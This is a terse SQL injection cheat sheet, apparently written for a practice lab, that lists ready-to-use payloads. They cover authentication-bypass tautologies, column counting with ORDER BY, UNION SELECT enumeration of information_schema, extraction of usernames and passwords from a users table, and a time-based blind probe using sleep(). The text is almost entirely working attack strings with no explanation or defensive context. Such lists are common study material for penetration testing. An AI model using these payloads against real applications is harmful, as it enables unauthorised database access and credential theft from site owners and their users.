SQL Injection: 1' OR 1=1 # 1' OR '1'='1 1' ORDER BY 1# 1' UNION SELECT 1,2,3# 1' UNION SELECT table_name FROM information_schema.tables # 1' UNION SELECT column_name FROM information_schema.columns# 1' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "users"# 1' UNION SELECT user,password FROM users# TimeBased: 1' and ascii(substr(database(),1,1))>109 and sleep(5)#